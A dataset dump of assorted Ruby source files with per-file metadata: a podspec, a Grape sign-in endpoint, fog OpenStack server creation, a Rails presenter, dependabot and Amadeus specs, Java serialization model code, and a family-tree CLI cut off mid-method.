hexsha
stringlengths 40
40
| size
int64 2
1.01M
| content
stringlengths 2
1.01M
| avg_line_length
float64 1.5
100
| max_line_length
int64 2
1k
| alphanum_fraction
float64 0.25
1
|
|---|---|---|---|---|---|
210a2f5c1b3c38d1d6a470307c5d597a48c973b8
| 1,554
|
#
# Be sure to run `pod lib lint HLBaseClass.podspec' to ensure this is a
# valid spec before submitting.
#
# Any lines starting with a # are optional, but their use is encouraged
# To learn more about a Podspec see https://guides.cocoapods.org/syntax/podspec.html
#
Pod::Spec.new do |s|
s.name = 'HLBaseClass'
s.version = '0.1.0'
s.summary = '这个是一个简单的基类封装'
# This description is used to generate tags and improve search results.
# * Think: What does it do? Why did you write it? What is the focus?
# * Try to keep it short, snappy and to the point.
# * Write the description between the DESC delimiters below.
# * Finally, don't worry about the indent, CocoaPods strips it!
s.description = <<-DESC
对基类进行统一的封装,主要是针对导航栏进行了统一
DESC
s.homepage = 'https://github.com/hailong123/HLBaseClass'
# s.screenshots = 'www.example.com/screenshots_1', 'www.example.com/screenshots_2'
s.license = { :type => 'MIT', :file => 'LICENSE' }
s.author = { 'Sea' => '771145867@qq.com' }
s.source = { :git => 'https://github.com/hailong123/HLBaseClass.git', :tag => s.version.to_s }
# s.social_media_url = 'https://twitter.com/<TWITTER_USERNAME>'
s.ios.deployment_target = '8.0'
s.source_files = 'HLBaseClass/Classes/**/*'
s.resource_bundles = {
'HLBaseClass' => ['HLBaseClass/Assets/*.*']
}
# s.public_header_files = 'Pod/Classes/**/*.h'
# s.frameworks = 'UIKit', 'MapKit'
# s.dependency 'AFNetworking', '~> 2.3'
end
| 36.139535
| 106
| 0.635779
|
262c3bb798102f2af3e24ea2998a3a9296e1fc5d
| 1,180
|
require 'api/defaults'
module API
module Users
class SignInWithGoogle < Grape::API
include Defaults
format :json
STUB_PASSWORD = "google_pass_MCEnhRLhNqMmhOGq1Blu".freeze
params do
requires :name, type: String
requires :email, type: String
requires :image_url, type: String
requires :google_access_token, type: String
end
patch 'sign_in_with_google' do
user = User.find_by(email: params[:email])
if user
user.update!(
name: params[:name],
email: params[:email],
image_url: params[:image_url],
google_access_token: params[:google_access_token]
)
else
user = User.create!(
login_type: :google,
role: :sub_admin,
name: params[:name],
password: STUB_PASSWORD,
email: params[:email],
image_url: params[:image_url],
google_access_token: params[:google_access_token]
)
end
present access_token: user.jwt
rescue => e
error!(e, 400)
end
end
end
end
| 25.106383
| 63
| 0.55678
|
e9d962401170a98f37d41308e0ba921f7e0453b8
| 7,770
|
module Fog
module Compute
class OpenStack
class Real
def create_server(name, image_ref, flavor_ref, options = {})
data = {
'server' => {
'flavorRef' => flavor_ref,
'name' => name
}
}
data['server']['imageRef'] = image_ref if image_ref
vanilla_options = ['metadata', 'accessIPv4', 'accessIPv6',
'availability_zone', 'user_data', 'key_name',
'adminPass', 'config_drive', 'min_count', 'max_count',
'return_reservation_id']
vanilla_options.select { |o| options[o] }.each do |key|
data['server'][key] = options[key]
end
if options['security_groups']
# security names requires a hash with a name prefix
data['server']['security_groups'] =
Array(options['security_groups']).map do |sg|
name = if sg.kind_of?(Fog::Compute::OpenStack::SecurityGroup)
sg.name
else
sg
end
{:name => name}
end
end
if options['personality']
data['server']['personality'] = []
options['personality'].each do |file|
data['server']['personality'] << {
'contents' => Base64.encode64(file['contents'] || file[:contents]),
'path' => file['path'] || file[:path]
}
end
end
if options['nics']
data['server']['networks'] =
Array(options['nics']).map do |nic|
neti = {}
neti['uuid'] = (nic['net_id'] || nic[:net_id]) unless (nic['net_id'] || nic[:net_id]).nil?
neti['fixed_ip'] = (nic['v4_fixed_ip'] || nic[:v4_fixed_ip]) unless (nic['v4_fixed_ip'] || nic[:v4_fixed_ip]).nil?
neti['port'] = (nic['port_id'] || nic[:port_id]) unless (nic['port_id'] || nic[:port_id]).nil?
neti
end
end
if options['os:scheduler_hints']
data['os:scheduler_hints'] = options['os:scheduler_hints']
end
if (block_device_mapping = options['block_device_mapping_v2'])
data['server']['block_device_mapping_v2'] = [block_device_mapping].flatten.collect do |mapping|
entered_block_device_mapping = {}
[:boot_index, :delete_on_termination, :destination_type, :device_name, :device_type, :disk_bus,
:guest_format, :source_type, :uuid, :volume_size].each do |index|
entered_block_device_mapping[index.to_s] = mapping[index] if mapping.key?(index)
end
entered_block_device_mapping
end
elsif (block_device_mapping = options['block_device_mapping'])
data['server']['block_device_mapping'] = [block_device_mapping].flatten.collect do |mapping|
{
'delete_on_termination' => mapping[:delete_on_termination],
'device_name' => mapping[:device_name],
'volume_id' => mapping[:volume_id],
'volume_size' => mapping[:volume_size],
}
end
end
path = options['block_device_mapping'] ? 'os-volumes_boot' : 'servers'
request(
:body => Fog::JSON.encode(data),
:expects => [200, 202],
:method => 'POST',
:path => path
)
end
end
class Mock
def create_server(name, image_ref, flavor_ref, options = {})
response = Excon::Response.new
response.status = 202
server_id = Fog::Mock.random_numbers(6).to_s
identity = Fog::Identity::OpenStack.new :openstack_auth_url => credentials[:openstack_auth_url]
user = identity.users.find do |u|
u.name == @openstack_username
end
user_id = if user
user.id
else
response = identity.create_user(@openstack_username,
'password',
"#{@openstack_username}@example.com")
response.body["user"]["id"]
end
mock_data = {
'addresses' => {"Private" => [{"addr" => Fog::Mock.random_ip}]},
'flavor' => {"id" => flavor_ref, "links" => [{"href" => "http://nova1:8774/admin/flavors/1", "rel" => "bookmark"}]},
'id' => server_id,
'image' => {"id" => image_ref, "links" => [{"href" => "http://nova1:8774/admin/images/#{image_ref}", "rel" => "bookmark"}]},
'links' => [{"href" => "http://nova1:8774/v1.1/admin/servers/5", "rel" => "self"}, {"href" => "http://nova1:8774/admin/servers/5", "rel" => "bookmark"}],
'hostId' => "123456789ABCDEF01234567890ABCDEF",
'metadata' => options['metadata'] || {},
'name' => name || "server_#{rand(999)}",
'accessIPv4' => options['accessIPv4'] || "",
'accessIPv6' => options['accessIPv6'] || "",
'progress' => 0,
'status' => 'BUILD',
'created' => '2012-09-27T00:04:18Z',
'updated' => '2012-09-27T00:04:27Z',
'user_id' => user_id,
'config_drive' => options['config_drive'] || '',
}
nics = options['nics']
if nics
nics.each do |_nic|
mock_data["addresses"].merge!(
"Public" => [{'addr' => Fog::Mock.random_ip}]
)
end
end
response_data = if options['return_reservation_id'] == 'True'
{'reservation_id' => "r-#{Fog::Mock.random_numbers(6)}"}
else
{
'adminPass' => 'password',
'id' => server_id,
'links' => mock_data['links'],
}
end
if block_devices = options["block_device_mapping_v2"]
block_devices.each { |bd| volumes.get(bd[:uuid]).attach(server_id, bd[:device_name]) }
elsif block_device = options["block_device_mapping"]
volumes.get(block_device[:volume_id]).attach(server_id, block_device[:device_name])
end
data[:last_modified][:servers][server_id] = Time.now
data[:servers][server_id] = mock_data
security_groups = options['security_groups']
if security_groups
groups = Array(security_groups).map do |sg|
if sg.kind_of?(Fog::Compute::OpenStack::SecurityGroup)
sg.name
else
sg
end
end
data[:server_security_group_map][server_id] = groups
response_data['security_groups'] = groups
end
if options['os:scheduler_hints'] && options['os:scheduler_hints']['group']
group = data[:server_groups][options['os:scheduler_hints']['group']]
group[:members] << server_id if group
end
response.body = if options['return_reservation_id'] == 'True'
response_data
else
{'server' => response_data}
end
response
end
end
end
end
end
| 41.329787
| 172
| 0.479279
|
330126276939974297ecab6d24ba2faee109f5dc
| 329
|
module Profiles
class SubmissionsController < ApplicationController
def index
@q = current_user.submissions.kept.ransack(params[:q])
@q.sorts = 'created_at desc' if @q.sorts.empty?
@pagy, @submissions = pagy(@q.result, i18n_key: 'activerecord.models.submission')
skip_policy_scope
end
end
end
| 29.909091
| 87
| 0.705167
|
0183dcce2baa5a6e86ff5848a9fbe2ec4dc441e6
| 1,298
|
require "api_utils/version"
module ApiUtils
module_function
# Convert a string from "something_like_this" to "somethingLikeThis"
# @param [String] underscored_word
# @return [String]
def camelize(underscored_word)
underscored_word.gsub(/(?:_)(.)/) { Regexp.last_match(1).upcase }
end
# camelize all hash keys
# @param [Hash] hash
# @return [Hash]
# @param [Proc] handler Value will be result of handler
def camelize_keys(hash, handler = ->(val) { val })
hash.each.with_object({}) do |(key, val), obj|
obj[camelize(key.to_s)] =
case val
when Hash
camelize_keys(val)
when Array
val.map do |item|
item.instance_of?(Hash) ? camelize_keys(item) : handler.call(item)
end
else
handler.call(val)
end
end
end
# symbolize all hash keys
# @param [Hash] hash
# @return [Hash]
def symbolize_keys(hash) # rubocop:disable Metrics/MethodLength
hash.each.with_object({}) do |(key, val), obj|
obj[key.to_sym] =
case val
when Hash
symbolize_keys(val)
when Array
val.map do |item|
item.instance_of?(Hash) ? symbolize_keys(item) : item
end
else
val
end
end
end
end
| 24.961538
| 78
| 0.596302
|
39ba52d130b1ac7a20e8fbdd02eec04ff595c507
| 2,430
|
# frozen_string_literal: true
require_dependency "#{Rails.root}/lib/word_count"
require_dependency "#{Rails.root}/lib/analytics/histogram_plotter"
#= Presenter for courses / campaign view
class CoursesPresenter
attr_reader :current_user, :campaign_param
def initialize(current_user:, campaign_param: nil, courses_list: nil)
@current_user = current_user
@campaign_param = campaign_param
@courses_list = courses_list || campaign&.courses
end
def user_courses
return unless current_user
current_user.courses.current_and_future
end
def campaign
@campaign ||= Campaign.find_by(slug: campaign_param)
raise NoCampaignError if @campaign.nil? && campaign_param == ENV['default_campaign']
@campaign
end
def can_remove_course?
@can_remove ||= current_user&.admin? || @campaign.organizers.include?(current_user)
end
def campaigns
Campaign.active
end
def courses
@courses_list
end
def active_courses
courses.current_and_future
end
def search_courses(q)
courses.where('lower(title) like ? OR lower(school) like ? OR lower(term) like ?',
"%#{q}%", "%#{q}%", "%#{q}%")
end
def courses_by_recent_edits
# Sort first by recent edit count, and then by course title
courses.sort_by { |course| [-course.recent_revision_count, course.title] }
end
def active_courses_by_recent_edits
active_courses.sort_by { |course| [-course.recent_revision_count, course.title] }
end
def campaigns_by_num_courses
# Sort first by number of courses, then by campaign title
campaigns.sort_by { |campaign| [-campaign.courses.count, campaign.title] }
end
def can_create?
current_user && (current_user.admin? || Features.open_course_creation?)
end
def word_count
WordCount.from_characters courses.sum(:character_sum)
end
def course_string_prefix
Features.default_course_string_prefix
end
def uploads_in_use_count
@uploads_in_use_count ||= courses.sum(:uploads_in_use_count)
@uploads_in_use_count
end
def upload_usage_count
@upload_usage_count ||= courses.sum(:upload_usages_count)
@upload_usage_count
end
def trained_count
courses.sum(:trained_count)
end
def trained_percent
return 100 if user_count.zero?
100 * trained_count.to_f / user_count
end
def user_count
courses.sum(:user_count)
end
class NoCampaignError < StandardError; end
end
| 24.545455
| 88
| 0.732099
|
18bc33c43af3565662342ef23a3f9a04845af646
| 1,828
|
# frozen_string_literal: true
require "rails_helper"
RSpec.describe ApplicationController do
let(:request) { ActionDispatch::Request.new({}) }
describe "#new_session_path" do
it "returns the new session path" do
controller = described_class.new
allow(controller).to receive(:request).and_return(request)
expect(controller.new_session_path(nil)).to eq("/sign_in")
end
end
describe "#current_delegate" do
it "returns a good delegate" do
controller = described_class.new
current_user = FactoryBot.create :staff_profile
delegate_staff_profile = FactoryBot.create :staff_profile
delegate = FactoryBot.create :delegate, delegator: delegate_staff_profile, delegate: current_user
allow(controller).to receive(:session).and_return(approvals_delegate: delegate.id)
allow(controller).to receive(:current_user).and_return(current_user.user)
expect(controller.current_delegate).to eq(delegate)
end
it "returns nil for a bad delegate" do
controller = described_class.new
allow(controller).to receive(:session).and_return(approvals_delegate: "abc")
expect(controller.current_delegate).to be_nil
end
it "returns nil for a delegate that does not include the current_user" do
controller = described_class.new
current_user = FactoryBot.create :staff_profile
staff_profile = FactoryBot.create :staff_profile
delegate_staff_profile = FactoryBot.create :staff_profile
delegate = FactoryBot.create :delegate, delegator: delegate_staff_profile, delegate: staff_profile
allow(controller).to receive(:session).and_return(approvals_delegate: delegate.id)
allow(controller).to receive(:current_user).and_return(current_user)
expect(controller.current_delegate).to be_nil
end
end
end
| 41.545455
| 104
| 0.749453
|
9145682ace4a14c598e96e507d690ef41b71bdc3
| 9,709
|
# frozen_string_literal: true
require "dependabot/dependency"
require "dependabot/dependency_file"
require "dependabot/nuget/update_checker/version_finder"
RSpec.describe Dependabot::Nuget::UpdateChecker::VersionFinder do
let(:finder) do
described_class.new(
dependency: dependency,
dependency_files: dependency_files,
credentials: credentials,
ignored_versions: ignored_versions,
security_advisories: security_advisories
)
end
let(:dependency) do
Dependabot::Dependency.new(
name: dependency_name,
version: dependency_version,
requirements: dependency_requirements,
package_manager: "nuget"
)
end
let(:dependency_requirements) do
[{ file: "my.csproj", requirement: "1.1.1", groups: [], source: nil }]
end
let(:dependency_name) { "Microsoft.Extensions.DependencyModel" }
let(:dependency_version) { "1.1.1" }
let(:dependency_files) { [csproj] }
let(:csproj) do
Dependabot::DependencyFile.new(name: "my.csproj", content: csproj_body)
end
let(:csproj_body) { fixture("csproj", "basic.csproj") }
let(:credentials) do
[{
"type" => "git_source",
"host" => "github.com",
"username" => "x-access-token",
"password" => "token"
}]
end
let(:ignored_versions) { [] }
let(:security_advisories) { [] }
let(:nuget_versions_url) do
"https://api.nuget.org/v3-flatcontainer/"\
"microsoft.extensions.dependencymodel/index.json"
end
let(:nuget_search_url) do
"https://api-v2v3search-0.nuget.org/query"\
"?q=microsoft.extensions.dependencymodel&prerelease=true"
end
let(:version_class) { Dependabot::Nuget::Version }
let(:nuget_versions) do
fixture("nuget_responses", "versions.json")
end
let(:nuget_search_results) do
fixture("nuget_responses", "search_results.json")
end
before do
stub_request(:get, nuget_versions_url).
to_return(status: 200, body: nuget_versions)
stub_request(:get, nuget_search_url).
to_return(status: 200, body: nuget_search_results)
end
describe "#latest_version_details" do
subject(:latest_version_details) { finder.latest_version_details }
its([:version]) { is_expected.to eq(version_class.new("2.1.0")) }
context "when the user wants a pre-release" do
let(:dependency_version) { "2.2.0-preview1-26216-03" }
its([:version]) do
is_expected.to eq(version_class.new("2.2.0-preview2-26406-04"))
end
context "for a previous version" do
let(:dependency_version) { "2.1.0-preview1-26216-03" }
its([:version]) do
is_expected.to eq(version_class.new("2.1.0"))
end
end
end
context "when the user is using an unfound property" do
let(:dependency_version) { "$PackageVersion_LibGit2SharpNativeBinaries" }
its([:version]) { is_expected.to eq(version_class.new("2.1.0")) }
end
context "when the user is ignoring the latest version" do
let(:ignored_versions) { [">= 2.a, < 3.0.0"] }
its([:version]) { is_expected.to eq(version_class.new("1.1.2")) }
end
context "with a custom repo in a nuget.config file" do
let(:config_file) do
Dependabot::DependencyFile.new(
name: "NuGet.Config",
content: fixture("configs", "nuget.config")
)
end
let(:dependency_files) { [csproj, config_file] }
let(:custom_repo_url) do
"https://www.myget.org/F/exceptionless/api/v3/index.json"
end
before do
stub_request(:get, nuget_versions_url).to_return(status: 404)
stub_request(:get, nuget_search_url).to_return(status: 404)
stub_request(:get, custom_repo_url).to_return(status: 404)
stub_request(:get, custom_repo_url).
with(basic_auth: %w(my passw0rd)).
to_return(
status: 200,
body: fixture("nuget_responses", "myget_base.json")
)
custom_nuget_versions_url =
"https://www.myget.org/F/exceptionless/api/v3/flatcontainer/"\
"microsoft.extensions.dependencymodel/index.json"
custom_nuget_search_url =
"https://www.myget.org/F/exceptionless/api/v3/"\
"query?q=microsoft.extensions.dependencymodel&prerelease=true"
stub_request(:get, custom_nuget_versions_url).to_return(status: 404)
stub_request(:get, custom_nuget_versions_url).
with(basic_auth: %w(my passw0rd)).
to_return(status: 200, body: nuget_versions)
stub_request(:get, custom_nuget_search_url).to_return(status: 404)
stub_request(:get, custom_nuget_search_url).
with(basic_auth: %w(my passw0rd)).
to_return(status: 200, body: nuget_search_results)
end
its([:version]) { is_expected.to eq(version_class.new("2.1.0")) }
context "that uses the v2 API" do
let(:config_file) do
Dependabot::DependencyFile.new(
name: "NuGet.Config",
content: fixture("configs", "with_v2_endpoints.config")
)
end
before do
v2_repo_urls = %w(
https://www.nuget.org/api/v2/
https://www.myget.org/F/azure-appservice/api/v2
https://www.myget.org/F/azure-appservice-staging/api/v2
https://www.myget.org/F/fusemandistfeed/api/v2
https://www.myget.org/F/30de4ee06dd54956a82013fa17a3accb/
)
v2_repo_urls.each do |repo_url|
stub_request(:get, repo_url).
to_return(
status: 200,
body: fixture("nuget_responses", "v2_base.xml")
)
end
url = "https://dotnet.myget.org/F/aspnetcore-dev/api/v3/index.json"
stub_request(:get, url).
to_return(
status: 200,
body: fixture("nuget_responses", "myget_base.json")
)
custom_v3_nuget_versions_url =
"https://www.myget.org/F/exceptionless/api/v3/flatcontainer/"\
"microsoft.extensions.dependencymodel/index.json"
stub_request(:get, custom_v3_nuget_versions_url).
to_return(status: 404)
custom_v2_nuget_versions_url =
"https://www.nuget.org/api/v2/FindPackagesById()?id="\
"'Microsoft.Extensions.DependencyModel'"
stub_request(:get, custom_v2_nuget_versions_url).
to_return(
status: 200,
body: fixture("nuget_responses", "v2_versions.xml")
)
end
its([:version]) { is_expected.to eq(version_class.new("4.8.1")) }
end
end
context "with a custom repo in the credentials" do
let(:credentials) do
[{
"type" => "git_source",
"host" => "github.com",
"username" => "x-access-token",
"password" => "token"
}, {
"type" => "nuget_feed",
"url" => custom_repo_url,
"token" => "my:passw0rd"
}]
end
let(:custom_repo_url) do
"https://www.myget.org/F/exceptionless/api/v3/index.json"
end
before do
stub_request(:get, nuget_versions_url).to_return(status: 404)
stub_request(:get, nuget_search_url).to_return(status: 404)
stub_request(:get, custom_repo_url).to_return(status: 404)
stub_request(:get, custom_repo_url).
with(basic_auth: %w(my passw0rd)).
to_return(
status: 200,
body: fixture("nuget_responses", "myget_base.json")
)
custom_nuget_versions_url =
"https://www.myget.org/F/exceptionless/api/v3/flatcontainer/"\
"microsoft.extensions.dependencymodel/index.json"
custom_nuget_search_url =
"https://www.myget.org/F/exceptionless/api/v3/"\
"query?q=microsoft.extensions.dependencymodel&prerelease=true"
stub_request(:get, custom_nuget_versions_url).to_return(status: 404)
stub_request(:get, custom_nuget_versions_url).
with(basic_auth: %w(my passw0rd)).
to_return(status: 200, body: nuget_versions)
stub_request(:get, custom_nuget_search_url).to_return(status: 404)
stub_request(:get, custom_nuget_search_url).
with(basic_auth: %w(my passw0rd)).
to_return(status: 200, body: nuget_search_results)
end
its([:version]) { is_expected.to eq(version_class.new("2.1.0")) }
end
end
describe "#lowest_security_fix_version_details" do
subject(:lowest_security_fix_version_details) do
finder.lowest_security_fix_version_details
end
let(:dependency_version) { "1.1.1" }
let(:security_advisories) do
[
Dependabot::SecurityAdvisory.new(
dependency_name: "rails",
package_manager: "nuget",
vulnerable_versions: ["< 2.0.0"]
)
]
end
its([:version]) { is_expected.to eq(version_class.new("2.0.0")) }
context "when the user is ignoring the lowest version" do
let(:ignored_versions) { [">= 2.a, <= 2.0.0"] }
its([:version]) { is_expected.to eq(version_class.new("2.0.3")) }
end
end
describe "#versions" do
subject(:versions) { finder.versions }
it "includes the correct versions" do
expect(versions.count).to eq(21)
expect(versions.first).to eq(
nuspec_url: "https://api.nuget.org/v3-flatcontainer/"\
"microsoft.extensions.dependencymodel/1.0.0-rc2-002702/"\
"microsoft.extensions.dependencymodel.nuspec",
repo_url: "https://api.nuget.org/v3/index.json",
source_url: nil,
version: Dependabot::Nuget::Version.new("1.0.0.pre.rc2.pre.002702")
)
end
end
end
| 34.799283
| 79
| 0.628386
|
abafa8b5692a36eb6e104fba1c5a7d372f090210
| 609
|
# This file was automatically generated by Trapeze, the safety-net generator for
# Ruby. Visit http://trapeze.rubyforge.org/ for more information.
require 'test/unit'
class FooTest < Test::Unit::TestCase
def setup
@foo = Foo.new
end
def test_should_be_instance_of_class
assert_instance_of Class, Foo
end
def test_should_return_mon_jan_01_01_01_01_utc_2001_when_sent_bar
assert_equal Time.utc(2001, 1, 1, 1, 1, 1, 1), @foo.bar
end
def test_should_return_sat_feb_02_02_02_02_utc_2002_when_sent_baz
assert_equal Time.utc(2002, 2, 2, 2, 2, 2, 2), @foo.baz
end
end
| 24.36
| 80
| 0.738916
|
aba709b395f1f16039d503038e1c2acb109fdace
| 602
|
# frozen_string_literal: true
module Admin
module Suppliers
class SuppliersController < Admin::BaseController
skip_after_action :verify_authorized, only: :index
def index
lead_providers = policy_scope(LeadProvider).sort_by(&:name)
delivery_partners = policy_scope(DeliveryPartner).sort_by(&:name)
sorted_suppliers = (lead_providers + delivery_partners)
@suppliers = Kaminari.paginate_array(sorted_suppliers).page(params[:page]).per(20)
@page = @suppliers.current_page
@total_pages = @suppliers.total_pages
end
end
end
end
| 31.684211
| 90
| 0.714286
|
2622901cbb06fd36caadcaa99904718d4bc7fbb7
| 4,792
|
# -*- coding: binary -*-
module Rex
module Java
module Serialization
module Model
# This class provides a field description representation (fieldDesc). It's used for
# both primitive descriptions (primitiveDesc) and object descriptions (objectDesc).
class Field < Element
include Rex::Java::Serialization::Model::Contents
# @!attribute type
# @return [String] The type of the field.
attr_accessor :type
# @!attribute name
# @return [Rex::Java::Serialization::Model::Utf] The name of the field.
attr_accessor :name
# @!attribute field_type
# @return [Rex::Java::Serialization::Model::Utf] The type of the field on object types.
attr_accessor :field_type
# @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to
def initialize(stream = nil)
super(stream)
self.type = ''
self.name = nil
self.field_type = nil
end
# Deserializes a Rex::Java::Serialization::Model::Field
#
# @param io [IO] the io to read from
# @return [self] if deserialization succeeds
# @faise [RuntimeError] if deserialization doesn't succeed
def decode(io)
code = io.read(1)
unless code && is_valid?(code)
raise ::RuntimeError, 'Failed to unserialize Field'
end
self.type = TYPE_CODES[code]
self.name = Utf.decode(io, stream)
if is_object?
self.field_type = decode_field_type(io)
end
self
end
# Serializes the Rex::Java::Serialization::Model::Field
#
# @return [String] if serialization succeeds
# @raise [RuntimeError] if serialization doesn't succeed
def encode
unless name.class == Rex::Java::Serialization::Model::Utf
raise ::RuntimeError, 'Failed to serialize Field'
end
unless is_type_valid?
raise ::RuntimeError, 'Failed to serialize Field'
end
encoded = ''
encoded << TYPE_CODES.key(type)
encoded << name.encode
if is_object?
encoded << encode_field_type
end
encoded
end
# Whether the field type is valid.
#
# @return [Boolean]
def is_type_valid?
if TYPE_CODES.values.include?(type)
return true
end
false
end
# Whether the field type is a primitive one.
#
# @return [Boolean]
def is_primitive?
if PRIMITIVE_TYPE_CODES.values.include?(type)
return true
end
false
end
# Whether the field type is an object one.
#
# @return [Boolean]
def is_object?
if OBJECT_TYPE_CODES.values.include?(type)
return true
end
false
end
# Creates a print-friendly string representation
#
# @return [String]
def to_s
str = "#{name} "
if is_primitive?
str << "(#{type})"
else
str << "(#{field_type})"
end
str
end
private
# Whether the type opcode is a valid one.
#
# @param code [String] A type opcode
# @return [Boolean]
def is_valid?(code)
if TYPE_CODES.keys.include?(code)
return true
end
false
end
# Serializes the `field_type` attribute.
#
# @return [String]
def encode_field_type
allowed_contents = [Utf, Reference]
unless allowed_contents.include?(field_type.class)
raise ::RuntimeError, 'Failed to serialize Field'
end
encoded = encode_content(field_type)
encoded
end
# Deserializes the `field_type` value.
#
# @param io [IO] the io to read from
# @return [Java::Serialization::Model::Utf]
# @raise [RuntimeError] if unserialization doesn't succeed
def decode_field_type(io)
allowed_contents = [Utf, Reference]
type = decode_content(io, stream)
unless allowed_contents.include?(type.class)
raise ::RuntimeError, 'Failed to unserialize Field field_type'
end
type
end
end
end
end
end
end
| 27.860465
| 99
| 0.51899
|
d5f705416c98df82cefadf4a07787fcde4a08124
| 6,638
|
# frozen_string_literal: true
require 'spec_helper'
RSpec.describe Amadeus::Namespaces do
describe 'Amadeus::Client' do
before do
@amadeus = Amadeus::Client.new(
client_id: '123',
client_secret: '234'
)
end
describe '.reference_data' do
it 'should return a ReferenceData object' do
expect(@amadeus.reference_data).to(
be_instance_of Amadeus::Namespaces::ReferenceData
)
end
end
describe '.reference_data.urls' do
it 'should return a Url object' do
expect(@amadeus.reference_data.urls).to(
be_instance_of Amadeus::Namespaces::ReferenceData::Urls
)
end
end
describe '.reference_data.urls.checkin_links' do
it 'should return a CheckinLinks object' do
expect(@amadeus.reference_data.urls.checkin_links).to(
be_instance_of Amadeus::Namespaces::ReferenceData::Urls::CheckinLinks
)
end
end
describe '.reference_data.urls.airlines' do
it 'should return an Airline object' do
expect(@amadeus.reference_data.airlines).to(
be_instance_of Amadeus::Namespaces::ReferenceData::Airlines
)
end
end
describe '.reference_data.locations' do
it 'should return a Locations object' do
expect(@amadeus.reference_data.locations).to(
be_instance_of Amadeus::Namespaces::ReferenceData::Locations
)
end
it 'should return a Location object if an ID is provided' do
expect(@amadeus.reference_data.location('ALHR')).to(
be_instance_of Amadeus::Namespaces::ReferenceData::Location
)
end
end
describe '.reference_data.locations.airports' do
it 'should return a Airports object' do
expect(@amadeus.reference_data.locations.airports).to(
be_instance_of Amadeus::Namespaces::ReferenceData::Locations::Airports
)
end
end
describe '.reference_data.locations.points_of_interest' do
it 'should return a PointsOfInterest object' do
expect(@amadeus.reference_data.locations.points_of_interest).to(
be_instance_of Amadeus::Namespaces::ReferenceData::Locations::PointsOfInterest
)
end
end
describe '.reference_data.locations..points_of_interest.by_square' do
it 'should return a PointsOfInterest::BySquare object' do
expect(@amadeus.reference_data.locations.points_of_interest.by_square).to(
be_instance_of(
Amadeus::Namespaces::ReferenceData::Locations::PointsOfInterest::BySquare
)
)
end
end
describe '.shopping' do
it 'should return a Shopping object' do
expect(@amadeus.shopping).to(
be_instance_of Amadeus::Namespaces::Shopping
)
end
end
describe '.shopping.flight_destinations' do
it 'should return a FlightDestinations object' do
expect(@amadeus.shopping.flight_destinations).to(
be_instance_of Amadeus::Namespaces::Shopping::FlightDestinations
)
end
end
describe '.shopping.flight_offers' do
it 'should return a FlightOffers object' do
expect(@amadeus.shopping.flight_offers).to(
be_instance_of Amadeus::Namespaces::Shopping::FlightOffers
)
end
end
describe '.shopping.flight_dates' do
it 'should return a FlightDates object' do
expect(@amadeus.shopping.flight_dates).to(
be_instance_of Amadeus::Namespaces::Shopping::FlightDates
)
end
end
describe '.shopping.hotel_offers' do
it 'should return a HotelOffers object' do
expect(@amadeus.shopping.hotel_offers).to(
be_instance_of Amadeus::Namespaces::Shopping::HotelOffers
)
end
end
describe '.shopping.hoteloffersByHotel' do
it 'should return a HotelOffersByHotel object' do
expect(@amadeus.shopping.hotel_offers_by_hotel).to(
be_instance_of Amadeus::Namespaces::Shopping::HotelOffersByHotel
)
end
end
describe '.shopping.hoteloffer' do
it 'should return a HotelOffer object' do
expect(@amadeus.shopping.hotel_offer('123')).to(
be_instance_of Amadeus::Namespaces::Shopping::HotelOffer
)
end
end
describe '.travel' do
it 'should return a Travel object' do
expect(@amadeus.travel).to(be_instance_of Amadeus::Namespaces::Travel)
end
end
describe '.travel.analytics' do
it 'should return a Analytics object' do
expect(@amadeus.travel.analytics).to(
be_instance_of Amadeus::Namespaces::Travel::Analytics
)
end
end
describe '.travel.analytics.air_traffic' do
it 'should return a AirTraffic object' do
expect(@amadeus.travel.analytics.air_traffic).to(
be_instance_of(
Amadeus::Namespaces::Travel::Analytics::AirTraffic
)
)
end
end
describe '.travel.analytics.air_traffic.traveled' do
it 'should return a Traveled object' do
expect(@amadeus.travel.analytics.air_traffic.traveled).to(
be_instance_of(
Amadeus::Namespaces::Travel::Analytics::AirTraffic::Traveled
)
)
end
end
describe '.travel.analytics.air_traffic.searched' do
it 'should return a Searched object' do
expect(@amadeus.travel.analytics.air_traffic.searched).to(
be_instance_of(
Amadeus::Namespaces::Travel::Analytics::AirTraffic::Searched
)
)
end
end
describe '.travel.analytics.air_traffic.searched_by_destination' do
it 'should return a SearchedByDestination object' do
expect(@amadeus.travel.analytics.air_traffic.searched_by_destination)
.to(
be_instance_of(
Amadeus::Namespaces::Travel::Analytics::AirTraffic::SearchedByDestination
)
)
end
end
describe '.travel.analytics.air_traffic.booked' do
it 'should return a Booked object' do
expect(@amadeus.travel.analytics.air_traffic.booked).to(
be_instance_of(
Amadeus::Namespaces::Travel::Analytics::AirTraffic::Booked
)
)
end
end
describe '.travel.analytics.air_traffic.busiest-period' do
it 'should return a BusiestPeriod object' do
expect(@amadeus.travel.analytics.air_traffic.busiest_period).to(
be_instance_of(
Amadeus::Namespaces::Travel::Analytics::AirTraffic::BusiestPeriod
)
)
end
end
end
end
| 30.449541
| 88
| 0.651853
|
ab2b505828206130c6f2997e55e74729899cdbb0
| 230
|
module Janky
module Views
class Layout < Mustache
def title
"Janky Hubot"
end
def page_class
nil
end
def root
@request.env['SCRIPT_NAME']
end
end
end
end
| 11.5
| 35
| 0.526087
|
872e80ae00a8038c15f276a9c8a631325ce74bde
| 23
|
require "bixby/bench"
| 7.666667
| 21
| 0.73913
|
acb04222d5e24f01c210204a9830f0abd2275e9a
| 1,993
|
# frozen_string_literal: true
require 'hanami/cli'
require 'fam/cli/common_arg_defs'
module Fam::CLI
module Get
class Person < Command
CommonArgDefs
.new(self)
.input_path
.person_name
def call(
input_path:,
person_name:,
**
)
finish(
Fam.get_person(
input_path: input_path,
person_name: person_name
)
)
end
end
class Parents < Command
CommonArgDefs
.new(self)
.input_path
.child_name
desc <<~DESC
Get the parents of a child, printing each on a seperate line.
The parents are non-gendered, but a person only gets 2
DESC
def call(
input_path:,
child_name:,
**
)
finish(
Fam.get_parents(
input_path: input_path,
child_name: child_name
)
)
end
end
class Children < Command
CommonArgDefs
.new(self)
.input_path
.parent_name
desc <<~DESC
Get the children of a parent, printing each on a seperate line.
DESC
def call(
input_path:,
parent_name:,
**
)
finish(
Fam.get_children(
input_path: input_path,
parent_name: parent_name
)
)
end
end
class Grandparents < Command
CommonArgDefs
.new(self)
.input_path
.child_name
option(
:greatness,
aliases: %w[-g],
desc: 'The level of great-grandparent, where 0 is just grandparents.',
default: '0'
)
def call(
input_path:,
child_name:,
greatness:,
**
)
